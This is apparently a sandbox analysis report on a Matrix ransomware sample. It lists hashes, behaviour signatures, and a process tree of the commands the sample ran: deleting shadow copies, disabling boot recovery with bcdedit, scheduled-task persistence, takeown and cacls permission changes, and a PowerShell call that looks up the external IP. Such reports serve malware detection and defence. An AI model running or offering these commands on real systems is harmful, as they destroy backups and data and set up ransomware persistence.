Overview

overview

10

Static

static

6e9060d56e...0b.exe

windows7_x64

10

6e9060d56e...0b.exe

windows10_x64

10

Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    08-10-2020 15:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe

  • Size

    1.2MB

  • MD5

    907636b28d162f7110b067a8178fa38c

  • SHA1

    048ae4691fe267e7c8d9eda5361663593747142a

  • SHA256

    6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b

  • SHA512

    501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a

Score
10/10
ransomwareevasionupxdiscoverypersistencematrix

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 1815 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blacklisted process makes network request 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies service 2 TTPs 11 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 8213 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 5 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of WriteProcessMemory 85 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
    "C:\Users\Admin\AppData\Local\Temp\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe" "C:\Users\Admin\AppData\Local\Temp\NWyylo2p.exe"
      2⤵
        PID:3372
      • C:\Users\Admin\AppData\Local\Temp\NWyylo2p.exe
        "C:\Users\Admin\AppData\Local\Temp\NWyylo2p.exe" -n
        2⤵
        • Executes dropped EXE
        PID:2144
        • C:\Users\Admin\AppData\Local\Temp\NWyylo2p.exe
          "C:\Users\Admin\AppData\Local\Temp\NWyylo2p.exe" "\\10.10.0.63\C$"
          3⤵
          • Matrix Ransomware
          • Executes dropped EXE
          PID:2100
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\79wHiGsd.txt"
            4⤵
              PID:4756
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
                5⤵
                • Blacklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4688
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\y5CpB4iJ.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4156
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
            3⤵
            • Blacklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4200
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\YJFxLY9i.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4452
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\YJFxLY9i.bmp" /f
            3⤵
            • Sets desktop wallpaper using registry
            • Modifies Control Panel
            PID:4560
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
            3⤵
            • Modifies Control Panel
            PID:4608
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
            • Modifies Control Panel
            PID:4636
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Aoqm0dMU.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4464
          • C:\Windows\SysWOW64\wscript.exe
            wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Aoqm0dMU.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4568
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\qBfviKfH.bat" /sc minute /mo 5 /RL HIGHEST /F
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4716
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\qBfviKfH.bat" /sc minute /mo 5 /RL HIGHEST /F
                5⤵
                • Creates scheduled task(s)
                PID:4760
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4788
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Run /I /tn DSHCA
                5⤵
                  PID:4832
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NCjimW78.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4860
            • C:\Windows\SysWOW64\attrib.exe
              attrib -R -A -S "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
              3⤵
              • Views/modifies file attributes
              PID:4956
            • C:\Windows\SysWOW64\cacls.exe
              cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C
              3⤵
                PID:5020
              • C:\Windows\SysWOW64\takeown.exe
                takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
                3⤵
                • Modifies file permissions
                PID:5040
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c 3URvWvJG.exe -accepteula "qmgr.db" -nobanner
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5060
                • C:\Users\Admin\AppData\Local\Temp\3URvWvJG.exe
                  3URvWvJG.exe -accepteula "qmgr.db" -nobanner
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:5076
                  • C:\Users\Admin\AppData\Local\Temp\3URvWvJG64.exe
                    3URvWvJG.exe -accepteula "qmgr.db" -nobanner
                    5⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Enumerates connected drives
                    • Modifies service
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: LoadsDriver
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5104
          • C:\Windows\SYSTEM32\cmd.exe
            C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\qBfviKfH.bat"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:4852
            • C:\Windows\system32\vssadmin.exe
              vssadmin Delete Shadows /All /Quiet
              2⤵
              • Interacts with shadow copies
              PID:1112
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic SHADOWCOPY DELETE
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4208
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4212
              • C:\Windows\system32\vssadmin.exe
                "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                3⤵
                • Interacts with shadow copies
                PID:4640
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:1596
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3932
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN DSHCA /F
              2⤵
                PID:3900
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Modifies service
              • Suspicious use of AdjustPrivilegeToken
              PID:4116

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/4200-13-0x00000000077E0000-0x00000000077E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-7-0x0000000004C50000-0x0000000004C51000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-8-0x0000000007910000-0x0000000007911000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-6-0x0000000072F70000-0x000000007365E000-memory.dmp

              Filesize

              6.9MB

              Download

            • memory/4200-10-0x0000000007860000-0x0000000007861000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-17-0x0000000008A60000-0x0000000008A61000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-9-0x0000000007370000-0x0000000007371000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-16-0x0000000009CF0000-0x0000000009CF1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-11-0x0000000008040000-0x0000000008041000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-15-0x00000000087E0000-0x00000000087E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-14-0x00000000085E0000-0x00000000085E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4200-12-0x00000000080B0000-0x00000000080B1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4212-48-0x00007FFE41E90000-0x00007FFE4287C000-memory.dmp

              Filesize

              9.9MB

              Download

            • memory/4212-49-0x000002E9EA7B0000-0x000002E9EA7B1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4212-51-0x000002E9EAA40000-0x000002E9EAA41000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4688-60-0x0000000072ED0000-0x00000000735BE000-memory.dmp

              Filesize

              6.9MB

              Download

            • memory/4688-69-0x0000000008310000-0x0000000008311000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4688-66-0x0000000007BA0000-0x0000000007BA1000-memory.dmp

              Filesize

              4KB

              Download